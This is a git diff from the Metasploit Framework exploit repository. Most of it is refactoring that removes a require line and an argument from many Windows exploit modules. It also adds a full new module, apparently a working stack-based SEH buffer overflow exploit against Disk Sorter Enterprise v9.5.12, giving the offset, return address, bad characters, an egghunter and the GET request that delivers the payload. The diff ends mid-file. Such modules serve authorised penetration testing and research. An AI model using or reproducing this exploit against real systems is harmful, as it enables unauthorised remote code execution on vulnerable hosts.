Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(26000) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/games/ut2004_secure.rb b/modules/exploits/windows/games/ut2004_secure.rb index e0349a6926..228a1299fb 100644 --- a/modules/exploits/windows/games/ut2004_secure.rb +++ b/modules/exploits/windows/games/ut2004_secure.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(7787) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index a4f19815f1..ab2982dfe6 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Sep 23 2009' )) - register_options( [ Opt::RPORT(8080) ], self.class ) + register_options( [ Opt::RPORT(8080) ]) end def exploit diff --git a/modules/exploits/windows/http/altn_securitygateway.rb b/modules/exploits/windows/http/altn_securitygateway.rb index 330a09117d..068eaa7c62 100644 --- a/modules/exploits/windows/http/altn_securitygateway.rb +++ b/modules/exploits/windows/http/altn_securitygateway.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(4000) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/altn_webadmin.rb b/modules/exploits/windows/http/altn_webadmin.rb index 62df0874e3..cf441e814d 100644 --- a/modules/exploits/windows/http/altn_webadmin.rb +++ b/modules/exploits/windows/http/altn_webadmin.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 24 2003')) - register_options([Opt::RPORT(1000)], self.class) + register_options([Opt::RPORT(1000)]) end def exploit diff --git a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb index dc3171e2d5..3daf4782b2 100644 --- a/modules/exploits/windows/http/amlibweb_webquerydll_app.rb +++ b/modules/exploits/windows/http/amlibweb_webquerydll_app.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80), - ],self.class) + ]) end def check diff --git a/modules/exploits/windows/http/apache_chunked.rb b/modules/exploits/windows/http/apache_chunked.rb index 99a7f4e393..d6af5213e2 100644 --- a/modules/exploits/windows/http/apache_chunked.rb +++ b/modules/exploits/windows/http/apache_chunked.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb index d2f50d14d3..30b847c864 100644 --- a/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb +++ b/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]), - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/apache_modjk_overflow.rb b/modules/exploits/windows/http/apache_modjk_overflow.rb index add74bc934..c28b6c9159 100644 --- a/modules/exploits/windows/http/apache_modjk_overflow.rb +++ b/modules/exploits/windows/http/apache_modjk_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb index 690467f2e8..78c9e1136e 100644 --- a/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb +++ b/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb @@ -4,8 +4,6 @@ ## require 'uri' -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path of the Avaya CCR applications', '/']) - ], self.class) + ]) end # diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index 8ea6438d3a..4358ca48dc 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/badblue_passthru.rb b/modules/exploits/windows/http/badblue_passthru.rb index 841642ef04..7cb7b4ceb2 100644 --- a/modules/exploits/windows/http/badblue_passthru.rb +++ b/modules/exploits/windows/http/badblue_passthru.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb index f17d84ac56..5d783e0beb 100644 --- a/modules/exploits/windows/http/bea_weblogic_jsessionid.rb +++ b/modules/exploits/windows/http/bea_weblogic_jsessionid.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(80) - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/bea_weblogic_post_bof.rb b/modules/exploits/windows/http/bea_weblogic_post_bof.rb index e9fbfad2f7..fa3c33b6d4 100644 --- a/modules/exploits/windows/http/bea_weblogic_post_bof.rb +++ b/modules/exploits/windows/http/bea_weblogic_post_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb index 58e78c7b8d..d0504f7a46 100644 --- a/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb +++ b/modules/exploits/windows/http/bea_weblogic_transfer_encoding.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/belkin_bulldog.rb b/modules/exploits/windows/http/belkin_bulldog.rb index 0f139255d0..28ff013950 100644 --- a/modules/exploits/windows/http/belkin_bulldog.rb +++ b/modules/exploits/windows/http/belkin_bulldog.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 05e2613719..665c6a337d 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8014), - ], self.class ) + ]) end def report_cred(opts) diff --git a/modules/exploits/windows/http/ca_igateway_debug.rb b/modules/exploits/windows/http/ca_igateway_debug.rb index 4069ec878d..112b9e4f8a 100644 --- a/modules/exploits/windows/http/ca_igateway_debug.rb +++ b/modules/exploits/windows/http/ca_igateway_debug.rb @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(5250), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 1b994c17e7..b1a2dc2efa 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(34443), OptBool.new('SSL', [ true, 'Use SSL', true ]), OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) - ], self.class) + ]) end def windows_stager diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb index 6d7f539b48..fbc9abb865 100644 --- a/modules/exploits/windows/http/cogent_datahub_command.rb +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote # Exploitation is reliable, but the service hangs and needs manual restarting. Rank = ManualRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' + 'wait for the payload request', 20]), OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb index 11dc34709f..cfff6f0e64 100644 --- a/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb +++ b/modules/exploits/windows/http/cogent_datahub_request_headers_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/coldfusion_fckeditor.rb b/modules/exploits/windows/http/coldfusion_fckeditor.rb index 4936809590..43e9eaf0f3 100644 --- a/modules/exploits/windows/http/coldfusion_fckeditor.rb +++ b/modules/exploits/windows/http/coldfusion_fckeditor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]), - ], self.class ) + ]) end def exploit diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index b9bc3c016c..23ff29daf7 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('RPORT', [true, "The web application's port", 7879]), OptString.new('TARGETURI', [true, 'The base path to to the web application', '/']) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index ea7669bbee..6f5e1069eb 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 11 2013' )) - register_options([Opt::RPORT(8020)], self.class) + register_options([Opt::RPORT(8020)]) end diff --git a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb index ab88da7094..ea792f4abb 100644 --- a/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_statusupdate_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -44,7 +42,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Aug 31 2014' )) - register_options([Opt::RPORT(8020)], self.class) + register_options([Opt::RPORT(8020)]) end diff --git a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb index ec8e271c6a..9f08e6b521 100644 --- a/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb +++ b/modules/exploits/windows/http/disk_pulse_enterprise_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Oct 03 2016', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(80)], self.class) + register_options([Opt::RPORT(80)]) end diff --git a/modules/exploits/windows/http/diskboss_get_bof.rb b/modules/exploits/windows/http/diskboss_get_bof.rb index 527d028fb6..82a937c2c1 100644 --- a/modules/exploits/windows/http/diskboss_get_bof.rb +++ b/modules/exploits/windows/http/diskboss_get_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/http/disksavvy_get_bof.rb b/modules/exploits/windows/http/disksavvy_get_bof.rb index 2f7e9a250f..c9fae8c3d1 100644 --- a/modules/exploits/windows/http/disksavvy_get_bof.rb +++ b/modules/exploits/windows/http/disksavvy_get_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/windows/http/disksorter_bof.rb b/modules/exploits/windows/http/disksorter_bof.rb new file mode 100644 index 0000000000..0896b5788b --- /dev/null +++ b/modules/exploits/windows/http/disksorter_bof.rb @@ -0,0 +1,102 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Seh + include Msf::Exploit::Remote::Egghunter + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Disk Sorter Enterprise GET Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability + in the web interface of Disk Sorter Enterprise v9.5.12, caused by + improper bounds checking of the request path in HTTP GET requests + sent to the built-in web server. This module has been tested + successfully on Windows 7 SP1 x86. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniel Teixeira' + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x09\x0a\x0d\x20\x26", + 'Space' => 500 + }, + 'Targets' => + [ + [ 'Disk Sorter Enterprise v9.5.12', + { + 'Offset' => 2488, + 'Ret' => 0x10051223 # POP # POP # RET [libspp.dll] + } + ] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Mar 15 2017', + 'DefaultTarget' => 0)) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => '/' + ) + + if res && res.code == 200 + version = res.body[/Disk Sorter Enterprise v[^<]*/] + if version + vprint_status("Version detected: #{version}") + if version =~ /9\.5\.12/ + return Exploit::CheckCode::Appears + end + return Exploit::CheckCode::Detected + end + else + vprint_error('Unable to determine due to a HTTP connection timeout') + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe + end + + def exploit + + eggoptions = { + checksum: true, + eggtag: rand_text_alpha(4, payload_badchars) + } + + hunter, egg = generate_egghunter( + payload.encoded, + payload_badchars, + eggoptions + ) + + sploit = rand_text_alpha(target['Offset']) + sploit << generate_seh_record(target.ret) + sploit << hunter + sploit << make_nops(10) + sploit << egg + sploit << rand_text_alpha(5500) + + print_status('Sending request...') + + send_request_cgi( + 'method' => 'GET', + 'uri' => sploit + ) + end +end diff --git a/modules/exploits/windows/http/easyfilesharing_seh.rb b/modules/exploits/windows/http/easyfilesharing_seh.rb index 4a02be69fd..d928b8df2a 100644 --- a/modules/exploits/windows/http/easyfilesharing_seh.rb +++ b/modules/exploits/windows/http/easyfilesharing_seh.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/http/easyftp_list.rb b/modules/exploits/windows/http/easyftp_list.rb index 3312904f79..6b5706b048 100644 --- a/modules/exploits/windows/http/easyftp_list.rb +++ b/modules/exploits/windows/http/easyftp_list.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(8080), OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'anonymous']), OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com']) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/edirectory_host.rb b/modules/exploits/windows/http/edirectory_host.rb index 9dd6288406..0963b1244f 100644 --- a/modules/exploits/windows/http/edirectory_host.rb +++ b/modules/exploits/windows/http/edirectory_host.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -47,7 +45,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Oct 21 2006', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(8028)], self.class) + register_options([Opt::RPORT(8028)]) end def exploit diff --git a/modules/exploits/windows/http/edirectory_imonitor.rb b/modules/exploits/windows/http/edirectory_imonitor.rb index b6b34663cd..759591a856 100644 --- a/modules/exploits/windows/http/edirectory_imonitor.rb +++ b/modules/exploits/windows/http/edirectory_imonitor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8008) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/http/efs_easychatserver_username.rb b/modules/exploits/windows/http/efs_easychatserver_username.rb index 6d763d06ed..be513d6d53 100644 --- a/modules/exploits/windows/http/efs_easychatserver_username.rb +++ b/modules/exploits/windows/http/efs_easychatserver_username.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/efs_fmws_userid_bof.rb b/modules/exploits/windows/http/efs_fmws_userid_bof.rb index 1ddad4cad6..cfdf986da4 100644 --- a/modules/exploits/windows/http/efs_fmws_userid_bof.rb +++ b/modules/exploits/windows/http/efs_fmws_userid_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking # Reliable memory corruption @@ -65,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('TARGETURI', [true, 'The URI path of an existing resource', '/vfolder.ghp']) - ], self.class) + ]) end def get_version diff --git a/modules/exploits/windows/http/ektron_xslt_exec.rb b/modules/exploits/windows/http/ektron_xslt_exec.rb index 807f2ad8f2..61909a301f 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/file_dropper' class MetasploitModule < Msf::Exploit::Remote @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]), OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/']) - ], self.class ) + ]) end def check diff --git a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb index df6f4c6c8f..15755dc031 100644 --- a/modules/exploits/windows/http/ektron_xslt_exec_ws.rb +++ b/modules/exploits/windows/http/ektron_xslt_exec_ws.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -61,7 +59,7 @@ execute in the context of IIS on the remote system. 'GetMessagingString' ] ]) - ], self.class ) + ]) end diff --git a/modules/exploits/windows/http/ericom_access_now_bof.rb b/modules/exploits/windows/http/ericom_access_now_bof.rb index 6693c11399..4b0a26bd1d 100644 --- a/modules/exploits/windows/http/ericom_access_now_bof.rb +++ b/modules/exploits/windows/http/ericom_access_now_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 2 2014', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(8080)], self.class) + register_options([Opt::RPORT(8080)]) end diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index 4b704d325e..a09bfd8448 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jun 18 2012', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(8000)], self.class) + register_options([Opt::RPORT(8000)]) end diff --git a/modules/exploits/windows/http/fdm_auth_header.rb b/modules/exploits/windows/http/fdm_auth_header.rb index ba762f52b5..956a8a7998 100644 --- a/modules/exploits/windows/http/fdm_auth_header.rb +++ b/modules/exploits/windows/http/fdm_auth_header.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/generic_http_dll_injection.rb b/modules/exploits/windows/http/generic_http_dll_injection.rb index fc7c460cf9..6da968b415 100644 --- a/modules/exploits/windows/http/generic_http_dll_injection.rb +++ b/modules/exploits/windows/http/generic_http_dll_injection.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILE_NAME', [false, 'DLL File name to share (Default: random .dll)']), OptString.new('TARGETURI', [true, 'Path to vulnerable URI (The shared location will be added at the end)', '/cgi-bin/function.php?argument=' ]), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]) - ], self.class) + ]) deregister_options('FILE_CONTENTS') end diff --git a/modules/exploits/windows/http/hp_autopass_license_traversal.rb b/modules/exploits/windows/http/hp_autopass_license_traversal.rb index 2e0e944341..cc74ee8eff 100644 --- a/modules/exploits/windows/http/hp_autopass_license_traversal.rb +++ b/modules/exploits/windows/http/hp_autopass_license_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -76,14 +74,14 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(5814), OptString.new('TARGETURI', [true, 'Path to HP AutoPass License Server Application', '/autopass']) - ], self.class) + ]) register_advanced_options( [ OptInt.new('INSTALL_DEPTH', [false, 'Traversal Depth to reach the HP AutoPass License Server folder']), OptString.new('INSTALL_FOLDER', [false, 'HP AutoPass License Server folder']), OptInt.new('WEBAPPS_DEPTH', [false, 'Traversal Depth to reach the Tomcat webapps folder']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/http/hp_imc_bims_upload.rb b/modules/exploits/windows/http/hp_imc_bims_upload.rb index 4396f25703..36aebac3fe 100644 --- a/modules/exploits/windows/http/hp_imc_bims_upload.rb +++ b/modules/exploits/windows/http/hp_imc_bims_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(8080) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/hp_imc_mibfileupload.rb b/modules/exploits/windows/http/hp_imc_mibfileupload.rb index 169532851f..440601ca5d 100644 --- a/modules/exploits/windows/http/hp_imc_mibfileupload.rb +++ b/modules/exploits/windows/http/hp_imc_mibfileupload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb index 50e1585296..1e78ebdf39 100644 --- a/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb +++ b/modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rexml/document' class MetasploitModule < Msf::Exploit::Remote @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 3 ]), # By default HP LoadRunner installed on C:\Program Files\HP\LoadRunner OptString.new('INSTALLPATH', [ true, 'HP LoadRunner Install Path (from the root folder)', "Program Files\\HP\\LoadRunner" ]) - ], self.class) + ]) end def get_soap_request(action, opts={}) diff --git a/modules/exploits/windows/http/hp_mpa_job_acct.rb b/modules/exploits/windows/http/hp_mpa_job_acct.rb index 1049d6673b..9b322ddb25 100644 --- a/modules/exploits/windows/http/hp_mpa_job_acct.rb +++ b/modules/exploits/windows/http/hp_mpa_job_acct.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('WRITEWEBFOLDER', [ false, "Additional Web location with file write permissions for IUSR_*" ]) - ], self.class) + ]) end def webfolder_uri diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb index 2294c8b669..bc8946c211 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb +++ b/modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb b/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb index 11a8dad538..e1fa054c01 100644 --- a/modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb +++ 